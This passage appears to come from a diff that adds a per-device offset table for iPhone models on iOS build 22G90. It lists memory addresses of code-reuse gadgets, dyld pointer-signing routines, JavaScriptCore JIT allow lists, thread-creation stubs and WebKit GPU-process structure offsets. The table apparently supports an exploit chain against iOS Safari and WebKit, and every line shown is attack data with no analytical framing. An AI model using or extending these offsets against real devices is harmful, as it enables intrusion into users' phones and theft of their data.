CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c408n, + free_slabs : 0x1ed7c5b90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dedb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dea60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dea68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dea70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7de9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dea78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6eb018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea280n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257aeae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272914000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88bdf8n, + WebCore__initPKContact_value : 0x1ed88be00n, + WebCore__PAL_getPKContactClass : 0x1ed8832b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a5d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a5c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a5b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880200n, + }, + "iPhone15,3_22G90": { + __pthread_head : 0x26a224020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd578n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c408n, + free_slabs : 0x1ed7c5b90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dedb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dea60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dea68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dea70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7de9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dea78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6eb018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea280n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257aeae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272914000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88bdf8n, + WebCore__initPKContact_value : 0x1ed88be00n, + WebCore__PAL_getPKContactClass : 0x1ed8832b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a5d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a5c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a5b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880200n, + }, + "iPhone15,4_22G90": { + __pthread_head : 0x269850020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25798be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f38000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone15,5_22G90": { + __pthread_head : 0x269850020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25798be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f38000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone16,1_22G90": { + __pthread_head : 0x26a734020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25813fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e4c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + 